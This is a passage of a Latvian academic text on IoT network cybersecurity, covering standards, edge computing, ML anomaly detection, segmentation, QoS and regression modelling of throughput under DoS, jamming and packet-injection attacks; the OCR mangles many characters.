un datu dro§ibas riskus. Stingra datu parvaldibas politika, tostarp datu SifréSana gan miera
stavokli (anglu val. idle), gan tad, kad tie ir pilniba aktivi, palidz aizsargat informaciju.
Piekluves kontroles mehanismi nodrosina to, ka sensitivai informacijai var pieklat tikai
autoriz&ti lietotaji un ierices [130-132].

Teri¢u parvaldibai un drosibas atjauninajumiem l0oT tiklos nepiecieSama visaptverosa
pieeja, kas ietver modernu parvaldibas tehnologiju, stingru dro§ibas politiku un regularu
atjauninajumu izmantoSanu. Svarigi nodro§inat risindjumu mérogojamibu, sakot no
pielagosanas sp&jas heterogé€nam iericeém un procesu standartizacijas, lai saglabatu augstu 10T
tiklu dro$ibas un uzticamibas limeni. Efektiva 10T ierices datu parvaldiba un aizsardziba ne
tikai padara tiklu noturigaku pret apdraud&umiem, bet ari veicina plasaku un drosaku 10T

tehnologiju ieviesanu dazadas jomas [131].

Standartu un likumdoSanas nozime Kiberdrosibas nodrosinasana lietu
interneta (1oT) tiklos

Ir zinams, ka loT kiberdrosibai ir loti svarigi standarti un tiesibu akti. Eksisté vairaki
aspekti, kas ir svarigi, lai nodrosinatu atbilstibu standartiem un tiesibu aktiem 10T Iimen.

Gan projektésanas posma, gan masveida raZoSana ierices biezi vien ir slikti aizsargatas
ierobezotu skaitloSanas resursu un drosibas standartu trikuma dgél. Tas kltst pievilcigas
kibernoziedzniekiem un kiberuzbrukumiem, un tas var radit datu kompromitésanu, kritiskas
infrastruktiiras (lauksaimniecibas, medicinas) darbibas trauc&jumus un citas nopietnas sekas.

Otrs svarigs faktors ir lietotaja informétiba, drizak — tas trikums. Ieri¢u lietotdji biezi vien
neapzinas iesp&jamos apdraud&umus, un lietotajiem nav pietieckamu zinasanu, lai aizsargatu
sevi. Tas attiecas ne tikai uz 10T iericém, bet arT uz datortikliem. Lietotaji neverigi izturas pret
drosibu vietgjos tiklos, izmanto neparbauditu programmatiiru, izveido vieglas paroles vai
vispar nemaina sakotngjas, neatjaunina komutatorus un marsrutetajus utt. Lai nodroSinatu
droSu So tiklu izmantoSanu, lietotajiem noder apmacibas par attiecigajiem standartiem, tiesibu
aktiem un kiberdrosibas aspektiem, kas palidz izprast nepiecieSamas prasibas un drosas ricibas
principus. Tiesibu aktos un drosibas standartos ir noteikti preventivie pasakumi 10T ieri¢u un
tiklu aizsardzibai, prasiba veikt regularus auditus, riska novertgjumus un stenot aizsardzibas

mehanismus, lai 1[idz minimumam samazinatu kiberuzbrukumu iesp&jamibu un to sekas. 10T
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ierices biezi vien apstrada arf cilvéku personas datus. Sos datus aizsarga tadi standarti un tiesibu
akti ka GDPR (anglu val. General Data Protection Regulation), kas paredz $ifréSanu,
autentifikaciju un citus drosibas pasakumus, lai aizsargatu lietotdju tiesibas un privatumu.
Daudzas ierices tiek izmantotas starptautiska méroga, tapec ir izstradati universali standarti,
kam ir svariga nozime kiberdrosibas nodroginasana. Sos standartus izstradajusas starptautiskas
un nacionalas organizacijas, un tie nodroSina saskanotas droSibas prasibas. Standarti un
juridiskas prasibas palidz saskanot droSibas pieejas dazadas valstis, veicinot starptautisko

sadarbibu un informacijas apmainu saistiba ar kiberdraudiem [130, 133].

Universalie standarti, ko var piemérot 0T tikliem, ir, pieméram, $adi:

ISO/IEC 27001 — informacijas dro$ibas parvaldibas standarts;

e |EEE - organizacija, kas izstrada standartus dazadam tehnologijam, tostarp lietu
internetam;

e ETSI - organizacija, kas izstrada telekomunikaciju tehnologiju standartus;

e NIST — ASV institiits, kas izstrada kiberdrosibas standartus un vadlinijas;

e GDPR — Eiropas Datu aizsardzibas regula, kurd noteiktas prasibas personas datu,
tostarp 10T iericu, aizsardzibai;

e ENISA - agentiira, kas nodarbojas ar kiberdro§ibas jautajumiem Eiropa, tostarp ar 10T

iericém [130, 134-135].

Drosas 10T ierices un tikli veicina ekonomisko stabilitati, noversot kiberuzbrukumu raditos
finansialos zaudgjumus. Turklat gan standarti, gan tiesibu akti palielina paterétaju un

uznémumu uzticibu 10T tehnologijam, veicinot to ievie$anu un attistibu.

Tikla datu plismas optimizacija

Tikla datu pliismas optimizacija ir misdienu tiklu parvaldibas komponents, jo Ipasi
saistiba ar 10T, kura miljoniem iericu gener€ ievérojamu datu apjomu. Efektiva optimizacija
var samazinat tikla parslodzi, uzlabot veiktsp&ju un palielinat tikla elastibu [130].

Tikla optimizacijai var izmantot malu skaitloSanas tehnologiju (anglu val. Edge
Computing), kas ietver datu apstrades ierices, kas atrodas tuvak rasanas avotam — centralajam
mezglam vai centram. Tas lauj samazinat parsiitamo pakesu vai kadru latentumu un serveru
parslodzi. Tehnologijas ir loti svariga gala lietojumprogrammam, kuram nepiecieSama

minimala aizture un liels datu apstrades atrums. Eksist€ malu skaitloSanas ierices un mezgli.
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5.1. att. Malu skaitlo$anas tehnologijas darbibas shéma.

lerices, kas veic lokalu datu apstradi, ir, pieméram, viedas kameras (kas var veikt
analizi, ierakstit sejas un citas funkcijas), sensori un citas lietu interneta ierices. Tas filtre,
analizg un lokali apstrada datus pirms nostti$anas uz serveri vai makoni.

Malas mezgli ir vietgjie serveri vai vartejas, kas apstrada un analiz€ datus no vairakam
iericeém lokali. Mezgli var apkopot datus un veikt pirmapstradi, tadgjadi samazinot datu
apjomu, kas tiek nosttits uz makoni, uzlabojot tikla efektivitati.

Saja noliika optimizacija, izmantojot malu skaitlo$anu, ievérojami palidz uzlabot tikla

veiktsp&ju un samazina infrastruktiiras parslodzi.

MasinmaciSanas un maksligais intelekts kiberdrosibas nodroSinasanai

Masinmacisanas (anglu val. Machine Learning) un maksliga intelekta (anglu val. Artificial
Intelligence) izmantoSana kiberdro§iba lauj automatizét galvenos draudu atklasanas un
novérsanas procesus. Tas ne tikai palielina aizsardzibas efektivitati, bet arT samazina darbinieku
parslodzi, jo lidz minimumam samazina cilvéka iejauksanos incidentu novérsana [130, 132].

LictoSanas piemeri ir anomaliju analize un automatizétas reagéSanas sist€mas. Anomaliju
analize ir saistita ar novirzu identifice$anu iericu, lietotaju vai tikla datpliismas uzvediba, kas
var liecinat par kiberuzbrukumiem vai aizdomigam darbibam. MasSinmaciSanas algoritmi
palidz atrast $adas novirzes, kas var neatbilst normalai uzvedibai, padarot tos par specigu riku

sarezgitu un sléptu uzbrukumu novérsanai.
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Ir vairakas tehnologijas, kas palidz analizét dazadas anomalijas lietu interneta.

e Laika rindu modeli — ma§inmaci$anas algoritmi, kas izseko parastos iericu un lietotaju
uzvedibas modelus, balstoties laika datos. Tie tiek apmaciti identific€t “normalu”
uzvedibu tikla un reagét uz jebkadam novirzém no §is uzvedibas.

o Kilasterizacija — metode, kas grupé lidzigus notikumus vai darbibas klasteros.
Anomalu darbibu gadijuma tas tiks iedalitas atseviSkos klasteros, laujot sist€mai izcelt
aizdomigas darbibas.

e Neironu tikli — maksligos neironu tiklus var apmacit atklat sarezgitus uzvedibas
modelus, kas var liecinat par uzbrukumiem. Pieméram, tikli var noteikt novirzes tikla
datu plisma vai lietotaju darjjumos, kas atbilst uzlau$anas pazimeém [130].

Papildus anomaliju analizei, lai nodro$inatu loT tiklu kiberdrosibu, ir vél viens
masinmaciSanas un maksliga intelekta lietojuma veids — automatiz&tas reagé€Sanas sist€émas.
Tas spé&j automatiski reagét uz konstatétajiem apdraudgjumiem redlaja tikla. Sis sistémas var
mazinat kait€jumu un noveérst turpmakus uzbrukumus bez tiilitgjas specialistu iejaukSanas.

Automatizetas reag€$anas sistemas var iedalit vairakas tehnologijas — drosibas orkestré$ana
(anglu val. Security Orchestration, Automation and Response), automatizéta dro$ibas politiku
izpilde, ka arT tikla izolacija un segmentacija.

o Drosibas orkestréSanas sistemas — sist€mas, kas integré dazadas droSibas
tehnologijas, lai automatizétu darbibas, reaggjot uz incidentiem. Piem&ram, tas var
automatiski blokét aizdomigas IP adreses, izolét apdraud@tas ierices vai apturét kontu
darbibu.

o Automatizéta drosibas politiku izpilde — sistémas, kas var automatiski piemérot
iepriek$ konfigurétas dro§ibas politikas, lai ierobezotu piekluvi, aizsargatu datus un
noverstu uzbrukumu izplatisanos tikla.

e Tikla izolacija un segmentacija — reag€Sanas sist€émas, kas var automatiski izolét
apdraudétas ierices vai apakstiklus, lai noveérstu draudu izplatiSanos. Pieméram, ja
viena tikla segmenta tiek konstat&ta aizdomiga uzvediba, sist€ma var ierobezot sazinu

ar citiem segmentiem [130, 136-137].

Kiberdro§ibas joma maSinmaciSanas un maksligas intelekta izmantoSanai ir vairakas

prieksrocibas.

>

e Sarezgitu uzbrukumu atklaSana — tradicionalas sisttmas ne vienmer spgj atklat

sarezgitus vai sléptus draudus, kas ir labi maskéti lielaja tikla datu plasma.
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MasinmaciSanas algoritmi var atklat §adus draudus, analizgjot trafiku un identificgjot
anomalijas.

o AutomatizéSana — maksliga intelekta sistémas var automatizet dzives procesus,
pieméram, notikuma Zurnalu analizi, tikla trafika uzraudzibu un reagg€Sanu uz
incidentiem, laujot kiberdrosibas specialistiem pieversties sarezgitakiem uzdevumiem;

e Tikla reage$anas atrums — automatiz&tas reag€Sanas sist€émas var atri reagét uz
incidentiem realaja laika, palidzot samazinat risku un Iidz minimumam samazinat
uzbrukumu raditos zaud€jumus.

e Uzlabota uzbrukumu atklaSanas precizitite — masinmaciSanas algoritmu
izmantoSana palidz samazinat viltus pozitivo gadijumu skaitu, laujot koncentréties uz

realiem draudiem, uzlabojot aizsardzibas efektivitati [130-132].

MasinmaciSanas procesam un maksligajam intelektam ir biitiska nozime misdienu
kiberdro§iba, jo Ipasi tapéc, ka draudi turpina pieaugt un klGst arvien sarezgitaki. Izmantojot
§is tehnologijas anomaliju analizei un automatiz&tai reagésanai, var ievérojami uzlabot dro$ibu,

paatrinat reagéSanu uz incidentiem un l1idz minimumam samazinat cilvéku kltdas.

Tiklu segmentacija un mikrosegmentacija

Tikla segmentacija ir kiberdro§ibas stratégija, un tas galvenais mérkis ir sadalit tiklu
vairakos mazakos, izolétos apakstiklos. Sads risindjums palidz samazinat uzbrukumu
izplatiSanas risku, ierobezojot piekluvi citiem atskirigiem tikla segmentiem un uzlabojot datu
plismas kontroli. Mikrosegmentacija ka detalizetak izstradata pieeja lauj kontrolét piekluvi
lietojumprogrammu un pakalpojumu liment (anglu val. Application Layer) [138].

Pirma segmentacijas metode ir virtualo lokalo ftikla (anglu val. Virtual Local Area
Network) izveidosana, §1 tehnologija lauj logiski sadalit fizisku tiklu vairakos izol&tos
segmentos bez nepiecieSamibas izveidot papildu fiziskus tiklus. Katrs VLAN darbojas ka
neatkarigs tikls, kas lauj ierobezot datu parraidi starp dazadiem segmentiem, nodroSinot
izolaciju. Tiklu sadaliSana pa segmentiem palidz ierobezot piekluvi jutigai informacijai un
samazinat iesp&jamo uzbrukumu vektoru.

Mikrosegmentacija ir precizaka un detalizétaka pieeja tikla segmentacijai, kad tikla
sadaliSana notiek lietojuma ITmeni — atseviskas lietojumprogrammas, pakalpojumi vai virtualas
masinas, nodrosinot augstaka limena piekluves kontroli un dro§ibu viena infrastruktiira.
Mikrosegmentacija tiek plaSi izmantota dazadas jomas, pieméram, virtualizacija (VMWare

NSX vai OpenStack). Sis sistémas izmanto mikrosegmentaciju, lai izol&tu virtualas masinas un
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lietojumprogrammas vienas fiziskas masinas ietvaros, kas palidz novérst draudu izplatiSanos
virtualizéta vide. Mikrosegmentacija ir Tpasi efektiva makoninfrastruktiiras. Ta tiek izmantota,
lai izol&tu lietojumprogrammas un datus konteineru limeni, piem&ram, Kubernetes vai Docker,
ka arT pakalpojumu Iimeni. Tas nodroSina augstu datu parraides droSibas limeni starp
konteineriem un  pakalpojumiem. Mikrosegmentacija lauj  kontrolét  piekluvi
lietojumprogrammu Itmenti, at$kiriba no tradicionalas segmentacijas ta nodrosSina kontroli ne
tikai tikla Itmeni, bet arT lietojumprogrammu mijiedarbibas Iimeni, kas samazina ieksg€jo
uzbrukumu risku [138].

Sadas tehnologijas uzlabo droibu un tikla veiktsp&ju, ierobezojot uzbrukuma izplatibu un
nodrosinot precizu piekluves kontroli vienam segmentam, tas nevar viegli parvietoties uz
citiem segmentiem, kas samazina visa tikla kompromit&sanas risku.

Sis drosibas optimizacijas metodes ir ipasi svarigas 10T tiklos, kur tikstogiem ieridu
apmainas ar datiem. Segmentacija izol€ kritiski svarigas sisttmas no mazak drosam iericém.

Mikrosegmentacija vél vairak ierobezo datu plismu, nelaujot uzbrucgam parvietoties
starp iericém, pat tad, ja viena no tam tiek uzlauzta.

Tadgjadi segmentacija un mikrosegmentacija stiprina tikla aizsardzibu, uzlabo datu kontroli un

palidz novérst uzbrukumu izplatiSanos, pasi 10T vide.

10T tiklu veiktspéjas un drosibas parvaldibas integréto pieeju izstrade

Ir zinams, loT tikli ir kompleksas sisteémas, kuras janodrosSina gan augsta veiktspg&ja, gan
drosiba. Integrétu pieeju izstrade $o aspektu parvaldibai ir Tpasi svariga vid€s ar ierobezotiem
resursiem un lielu pieslégto ieri¢u skaitu. Sada pieeja lauj organizacijam panakt lidzsvaru starp

datu aizsardzibu, kiberuzbrukumu samazinasanu un efektivu tikla darbibu.

Veiktspéja un droSibas lidzsvaroSana

Automatizacija un adaptivie risinajumi

Drosibas integracija arhitektdras
limenos

5.2. att. Drosibas sistému un to parvaldibas integrétas pieejas pamatprincipi [137].
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Veiktspéja un drosibas lidzsvaro$ana

Drosibai biezi vien ir nepiecieSami papildu skaitloSanas resursi, kas var mazinat
veiktsp&ju. NepiecieSams atrast lidzsvaru, lai drosibas limenis tiktu saglabats pienemama
Itmeni, bet vienlaikus netiktu upurdta pietickama tikla veiktsp&ja. Piem&ram, izmantojot
vieglas kriptografijas metodes, inteligentu tikla parvaldibu un kontroli, sadalit tikla datu

plismu, izmantojot segmentacijas metodes un makonbalstitu drosibu.
Automatizacija un adaptivie risinajumi

10T tikli biezi darbojas dinamiska un mainiga vidg, pieméram, razo$ana, medicina un
viedas pilsétas, kur cilvéku un aktivitaSu skaits strauji pieaug. Automatizétu un adaptivu
sistému izmantoSana lauj elastigi reagét uz drosibas apdraudgjumiem un produktivitates
izmainam realaja laika. Saja situacija noder viedie algoritmi, ko var iestradat ieric@s, lai lidz

minimumam samazinatu uzmanibas novérSanu [137].
Drosibas integracija arhitektiiras limenos

Drosibai jabiit integrétai visos 10T arhitektiiras ITmenos — no ierices Iidz makona
infrastruktiirai. Pamatojoties uz 10T tikla konstrukciju, kas ietver Sifrétus datus, lietotaju
autentifikaciju piekluves kontrolei un parvaldibai un iericu fizisko aizsardzibu pret
nesankcionétu piekluvi. Integrétas veiktsp&jas un dro§ibas parvaldibas metodém ir daudzas
formas, bet ir arT pakalpojumu kvalitates (anglu val. Quality of Service) metodes, kas lauj
noteikt datu pliismas prioritates un ierobezot resursu izmantosanu nekritiskiem uzdevumiem,
vienlaikus saglabajot tikla drosibu. Liela nozime tikla stabilitates un veiktsp&jas uzturésana ir
caurlaidspgjas parvaldibai un tikla pakalpojumu kvalitatei, jo Tpasi saistiba ar 10T tiklam, kuros
liels skaits ieri¢u rada dazada veida datu plasmu. Pakalpojumu kvalitates tehnologijas icvieSana
palidz efektivi sadalit tikla resursus, pieskirot prioritati kritiski svarigiem datiem un ierobezojot
nekritiskus procesus, lai Iidzsvarotu veiktsp&ju un dro$ibu [40].

QoS ir mehanisms, kas nosaka datpliismas prioritates tikla, tad€jadi nodroSinot
pienacigu veiktsp&jas Iimeni kritiski svarigam lietojumprogrammam un pakalpojumiem,
vienlaikus samazinot latentumu un noverSot parslodzi. Piemeéram, datiem, kas saistiti ar
kritiskam operacijam vai funkcijam, var pieskirt augstaku prioritati tikla, palidzot nodrosinat
to netrauc€tu parraidi pat tikla parslodzes gadijuma. Izmantojot l0T tikla pieméru, riipniecibas
nozargs datiem no drosSibas sensoriem vai vadibas sisttmam japieskir visaugstaka prioritate, lai
nodroSinatu droSu un precizi iekartas darbibu. Mazak svarigiem datiem, pieméram, darba

zinojumiem, var pieskirt zemaku prioritati.
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Ka piem@ru var izmantot medicinas tiklus — telemedicina, lai nodroSinatu savlaicigu
informaciju, datu pliismai ar video straumé&Sanu no attalinatam pacientu veselibas uzraudzibas
iericeém var pieskirt prioritati, salidzinot ar citam mazsvarigam tikla darbibam. Viedpilsétas
tiklos datu parraidei no satiksmes sensoriem var noteikt prioritati, savukart datu parraidei no
informacijas stendiem vai apgaismojuma sisttmam var ierobezot caurlaidsp&jas joslu. QoS
tehnologija var ierobeZot caurlaidspgjas joslu, tadgjadi atbrivojot resursus augstakas prioritates
datiem un uzdevumiem. Tas palidz uzlabot kopgjo tikla veiktsp&ju un samazina varbitibu, ka
nekritiski svarigas darbibas parslogo tiklu.

Praksé ieviesta QOS tehnologija, kas palidz markét paketes pareizai izpildei un
parsttisanai. Pieméram, diferencétie pakalpojumi (anglu val. DiffServ), kas marké paketes
atkariba no t0 svariguma. Augstakas prioritaSu paketes sanem vairak tikla resursu, tadgjadi
samazinot kavé$anos un nodroginot svarigako datu piegadi. Sis tehnologijas izmantogana loT
tiklos lauj marSrutétajiem un komutatoriem, ka arT ieri€u koordinatoriem identificét augstas
prioritates datu plismu, pieméram, datus no drosibas sensoriem — kustibas sensoriem vai
balkona durvju slédziem, un piegadat tos atrak neka nekritiskos datus [139].

Integréta pakalpojumu QoS (anglu val. IntServ) arhitektira, kas izmanto resursu
rezervéSanu atseviSkam datu plismam, garanté caurlaidspgju lietojumprogrammam ar realam
pakalpojumu kvalitates prasibam. To var izmantot reallaika lietojumprogrammas, piemeram,
videokonferencu vai telemetrijas lietojumprogrammas, kur nepiecieS$ama prognoz€jama
veiktsp&ja un minimals latentums [140].

QoS var ietvert datu plismas formesanu. Tikla datu plismas parvaldibas metode kontrole
parsiitamo datu apjomu un pieskir tikla caurlaidspgju, lai samazinatu parslodzi un noteiktu
prioritati noteiktiem datu pluismas veidiem. ArT datu markéSana tiek veikta, lai kontrolétu un
ierobezotu tikla datu plismas apjomu, kas nak no nekritiskiem procesiem. 10T tiklos tas nozimé
samazinat prioritati sensoriem, kas siita datus ar mazu atjauninaSanas atrumu, un palielinat
prioritati iericém, kas stta datus realaja laika [140].

Pakalpojumu kvalitates integracija sniedz vairakas 10T tiklu izmantoSanas prieksrocibas,
pieméram, tikla stabilitates uzturéSana, kas nodrosina svarigu datu parraidi, kad ir liels tikla
parslogojums. Tas ir Tpasi svarigi 10T sistémam, kuras var bit gan reallaika dati, gan dati ar
mazak kritiskam piegades laika prasibam. Uzlabota reallaika lietojumprogrammu pakalpojumu
kvalitate, izmantojot Q0S datu pliismas prioritasu noteikSanu, palidz nodro$inat nepiecieSamo
joslas platumu un minimalu latentumu, pieméram, telemetrijas, videonoveérosanas vai drosibas

sisttmam [19, 40, 139-140].
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Resursu ierobezosana nekritiskiem procesiem novers tikla parslodzi un uzlabo kopgjo tikla
parvaldi, padarot tiklu elastigaku pret argjam un iek$&jam slodzém. Trafika parvaldiba palidz
uzlabot arT dros§ibu, segmentgjot tiklus un samazinot neuzticamu lietojumprogrammu vai ieri¢u
launpratigas izmantoSanas risku, kas var radit nevajadzigu datu plismu. Caurlaidspg&ju
parvaldibas un QOS integracija lauj loT tiklam saglabat augstu veiktsp&ju, uzticamibu un
drosibu pat lielas slodzes apstaklos.

Makonpakalpojumu drosibas sisteémas ir kopums, kas nodrosina 10T tikla centralizétu
parvaldibu, uzraudzibu un aizsardzibu, izmantojot makona infrastruktiru. Izmantojot
makonplatformas, tiek samazinata parslodze viet§jam iericem un palielinata sist€mas
mérogojamiba un efektivitate kopuma. Sadi risinajumi lauj ari atrak ieviest drosibas
atjauninajumus un pielagoties pieaugosajam prasibam. To prieksrocibas ir arT lokalo iericu un
tiklu slodzes samazinasana kopuma, tas, ka visi dati un analitika tiek parcelti uz makoni, kas
atbrivo ieri¢u resursus un samazina to energijas patérinu, kas ir loti svarigi iericém ar
ierobezotam iesp&jam. lerices var viegli pielagoties tikla izaugsmei un atbalstit lielu
savienojumu skaitu, un makonplatformas lauj parvaldit visas ierices, izmantojot vienu konsoli,
nodrosinot labaku situacijas izpratni un tikla kontroli [88, 130-131].

Lai nodroS§inatu sarezgito sistémas elastibu, uzticamibu un dro§ibu, ir nepiecieSamas
integrétas pieejas veiktsp&jas un dro§ibas parvaldibai 0T tiklos. 10T, kam raksturiga iericu
daudzveidiba un milzigi datu apjomu, prasa lidzsvaru starp informacijas aizsardzibu un
efekttvu resursu izmantoSanu. No vienas puses, augsts drosibas Itmenis nozimé papildu
izdevumus par skaitloSanas jaudu un tikla caurlaidspg€ju, no otras puses, neistenojot pamata
drogibas pasakumus, sistéma kliist neaizsargata pret aréjiem draudiem un datu aizsardzibas
parkapumiem. Iepriek§ mingto pieeju izstrade un ievieSana palidz palielinat tikla noturibu pret
uzbrukumiem, uzlabo veiktsp&jas kontroli un lauj tiklus m&rogot p&c vajadzibas. Pieslégto
iericu un datu apjomi turpina augt, tapec integrétie risinajumi klust batiski, lai nodrosinatu 0T

infrastrukttras droSibu, efektivitati un uzticamibu.

Tendencu prognozésana un analize 10T tiklu darbibas vidé

Lai izprastu tikla darbibas dinamiku un noveértétu uzbrukumu ietekmi, tiek veikta
detaliz&ta signala stipruma (RSSI) un caurlaidsp&jas izmainu analize atkariba no uzbrukuma
veida. Tas ir tendencu liknes (anglu val. trendline). Sadas Iiknes palidz vizualizét datu izmainas
laika gaita, identificét vispargjas tendences un atklat iespgjamos anomalos punktus. Saja nodala

aprakstitas izmantotas matematiskas modeléSanas metodes, lai identific€tu galvenas tikla

115



tendencu izmainas un noteiktu uzbrukumu radito ietekmi uz tikla veiktsp&u. Tendencu likne
izmantoSana lauj izcelt uzbrukuma brizus un noteikt, ka dazadi traucjumi ietekmé tikla
darbibu, sniedzot ieskatu par signala samazinasanas stiprumu, caurlaidsp€jas samazinasanas
atrumu un iesp&jamo atjaunoSanas dinamiku.

Lai apskatitu un aprakstitu signala tendencu uzvedibu dazadu uzbrukumu apstaklos, tika
izmantotas dazadas matematiskas pieejas. ModeléSanas mérkis bija precizi noteikt signala
izmainu tendences, kas var€tu liecinat par uzbrukumu. Tika izmantota polinoma regresija
(kvadratiska, kubiska un 5. pakapes), hibridmodeli (polinomu un splainu), ka ari laika
normalizacija. Tas palidzgja izcelt uzbrukumu ietekmes raksturigakas pazimes tikla signala
uzvediba un nodrosinaja precizaku tikla darbibas modelu analizi. Tendencu liknes veido$anai
biezi tiek izmantota lineara, eksponenciala un logaritmiska regresija, jo §is metodes
nenodrosina pietieckami elastigu pielagosanos tikla signdla un caurlaidspgjas izmainam, kas
rodas DoS un traucgjumu (anglu val. jamming) uzbrukumu laika. Tadi modeli biezi pienem, ka
tikla izmainas ir vienkarsas un regularas, tacu 5.3. — 5.4. grafikos ir redzams, ka dati ir haotiski
un nelineari un tos nav iesp&jams apstradat, izmantojot parastas regresijas [141].

Polinomu regresija tika izmantota, lai aprakstitu signala stipruma un caurlaidspg&jas

vispargjas izmainas, pienemot, ka §Ts izmainas var izteikt ka n-tas pakapes polinomus:

y(x) = ap + a;x + ax?® + - + a,x", (5.1)
kur anan-z...,a0 — polinoma koeficienti, kas nosaka funkcijas formu, izmatojot vismazako
kvadratu metodi OLS (anglu val. Ordinary Least Squares); X — normalizgtais laiks (X € [0,1]);

y(X) — prognozeta vértiba (RSSI vai caurlaidspgja) [141-142].

Koeficienti a; tiek atrasti, izmantojot vismazako kvadratu metodi OLS, un tas meérkis ir
minimizét kladu funkciju E, kas aprékina atskiribu starp faktiskajiem datiem y; un polinomu
y(xi):

E=3L,0—y@x)", (5.2)
kur N — datu punktu skaits.

Lai atrastu koeficientus, tiek izmantota matricu forma:
Y = XA+ €, (5.3)
kur Y — vertibu vektors (mérfjumi); X — dizaina matrica (katra x pakapes veértibas); A — nezinamo

koeficientu vektors; e — trokS$na un mérjjumu kladas.
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Koeficienti tiek atrasti, izmantojot normalo vienadojumu:
A=XTX)"1xTy. (5.4)
Tas nozime, ka katrs & tiek aprékinats, minimizgjot kludu starp faktiskajiem un
prognozetajiem datiem.
Hibridmodelis tiek veidots ka vidgja vertiba starp polinoma regresiju un kubisko splainu.
Tadgjadi dati tiek izlidzinati, saglabajot caurlaidsp€jas pamattendences, bet samazinot trokSnu
ietekmi tikla un RSSI. Lietotais polinoms ir atkarigs no polinoma pakapes, kas var biit

kvadratiska, kubiska un 5. pakapes, un aproksimacijas precizitates.

Kubiskais splains tiek aprakstits ka
S(x) = XiZ1 biBi(x), (5.5)
kur B;(x) — bazes splainu funkcijas; b; — koeficienti, kas tiek aprékinati, lai nodro§inatu gludu

grafika interpolaciju; m — mezglu skaits.

Splaina koeficienti tiek iegiiti, minimizgjot $adu kludu funkciju:

2 A2
E=3YY (yi—S(x)) +A1[(5"(x)) dx, (5.6)
kur A — regul&josais parametrs, kas nosaka, cik gluds biis splains [141].

Kubiska splaina izteiksme (5.6. izteiksme) ietver divas dalas. Pirma ir kvadratisko novirzu
summa, kas ir parasts mazako kvadratu metodes kriterijs un minimiz€ atSkiribu starp
sakotngjiem datiem Y; un splaina aproksimaciju. Tadgjadi tas ir atbildigs par aproksimacijas
precizitati. Otra dala ir integralis no splaina otra atvasinajuma kvadrata, kas darbojas ka
regul&josais loceklis un nodroSina funkcijas gludumu. Otra atvasinajuma pakape nosaka
splaina izliekumu — jo lielaka vértiba, jo vairak izliekts ir splains. Ja lambda bas 0, regulacija
gandriz nepastav, un splains pilniba pielagojas datiem, kas var izraisit parmacisanos (anglu val.
overfitting) (parak elastiga funkcija). Ja lambda bus bezgaliga, tad regulacija pilniba nomac
izliekumu un splains tuvojas linearai funkcijai. 5.6. izteiksme nodro$ina lidzsvaru starp datu
precizitati un modela gludumu. Bez regul&josa locekla splains varétu parmerigi pielagoties
trokSniem, bet pie lielas lambda vertibas tas kliitu parak izlidzinats. Tadgjadi tiek iegiits stabils
un interpret§jams modelis, kas labi aproksimé datus, vienlaikus saglabajot izturibu pret

trok$niem [142-143].
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Lai vieglak salidzinatu dazadas eksperimentalas sesijas, autors normalizgja laika vertibas
diapazona no 0 Iidz 1. 5.7. izteiksme nodro$ina to, ka visi dati tick att€loti vienota skala
neatkarigi no konkréta mérjjumu ilguma.

t=tmin
bhorm = 7. G.7)

tmax—tmin
KUr t,in UN tpax — sakuma un beigu laiks; t,,;, — normalizétais laiks [144].

Lai vizuali novertetu dazadu pieeju efektivitati signala stipruma un caurlaidspgjas
analizg, tika izveidoti grafiki, kuros attélotas polinomu un hibridmodela tendences Iinijas.
Izveidotie grafiki lauj salidzinat dazadu metozu sp&ju aprakstit datus, ka arT izvertet gludumu
un pielagosanas precizitati. 5.3.-5.6. attélos var redzét, ka dazadu pakapju polinomi un
hibridmodelis interpreté tikla veiktsp&jas izmainas, nemot véra uzbrukumu ietekmi un signala
variacijas.
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5.3. att. Tikla caurlaidspgjas izmainu analize. Originalie dati: a) pake$u sttiSanas biezums —
0,25 sekundes; b) pakesu siitiSanas biezums — 0,5 ar sekundes ar polinomu un

hibridmodeliem pakesu injekcijas laika.
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5.4. att. Tikla caurlaidspgjas izmainu analize. Modificgtie dati: a) pakeSu sttiSanas biezums —
0,25 sekundes; b) pakesu siitiSanas biezums — 0,5 ar sekundes ar polinomu un

hibridmodeliem pakesu injekcijas laika.
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Modificeta caurlaidspgja (DoS uzbrukumi)
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5.5. att. Tikla caurlaidsp&jas izmainu analize: a) originalie dati; b) modificétie dati ar

polinomu un hibridmodeliem DoS uzbrukuma laika.

Caurlaidspéjas analize (Jamming)
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5.6. att. Tikla caurlaidsp&jas izmainu analize: a) originalie dati; b) modificétie dati ar

polinomu un hibridmodeliem signala trauc€Sanas uzbrukuma laika.
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Ka tika mingts, tikla caurlaidsp&jas izmainas uzbrukumu laika nav linearas un, runajot par
pakesu injekcijas uzbrukuma veidu, bieZi vien ir haotiskas. Eksperimentalo datu analize (skat.
5.3. - 5.6. att€lus) lauj novertet dazadu uzbrukumu ietekmi uz tikla caurlaidspgju, ka ari noteikt,
kads modelis vislabak raksturo realas tikla izmainas. Dati, kas iegiti no tikla uzraudzibas
aktivitates, bieZi vien ietver trok$nus — istermina svarstibas, kas var radit sakaru trauc&umus
un datu zudumu. Ka redzams 5.3. — 5.4. att€los, tikla caurlaidspgjas izmainu sakotngjie dati
(zila krasa) ietver daudz haotisku svarstibu, kas nelauj precizi noteikt uzbrukuma ietekmi.

Polinomu un hibridmodelu izmantoSana lauj izfiltrét §1s nejausas variacijas un noteikt
stabilakas izmainu tendences. Pieméram, D0S uzbrukuma gadijuma sakotn&jie dati rada
1stermina pikus un haotiskas izmainas, kas var tikt nepareizi interpretétas. Tomér hibridmodelis
(sarkana Iinija) skaidri parada, ko kopgja caurlaidsp&ja strauji samazinas un vélak
pretpasakuma ietekme stabilizgjas.

Tendences analize nodro$ina ne tikai vizualu tikla uzbrukumu ietekmes novérojumu, bet
ar1 kvantitativu to ietekmes novert&jumu, izmantojot regresijas modelu pielagoSanas kvalitates
raditajus. Polinomu un hibrido modelu atbilstibas novertgjums, balstoties determinacijas
koeficienta R? vértibas, sniedz ieskatu par dazadu pieeju efektivitati tikla caurlaidsp&jas
modelés$ana dazadu uzbrukumu apstaklos.

PakeSu injekcijas caurlaidspgjas analizé 5. pakapes polinoms un hibridmodelis uzrada
augstaku atbilstibu datiem, savukart zemakas pakapes polinomi sniedz mazak precizu aprakstu.
Caurlaidspéja péc Nakagami teorémas saglaba lidzigu tendenci, ta¢u pastav neliela parak lielas
gluduma nodro$inasanas iespgja, kas var ictekmét redlo datu svarstibu uztveri. DoS uzbrukuma
gadijuma zemakas pakapes polinomu modeli demonstré zemas pielagosanas spéjas ar R2
vertibam robezas no 0,05 lidz 0,11, kas liecina par to nesp&u pilnvertigi aprakstit
caurlaidsp@jas izmainas. Savukart augstakas pakapes polinoms (5. pakape) un hibridmodelis
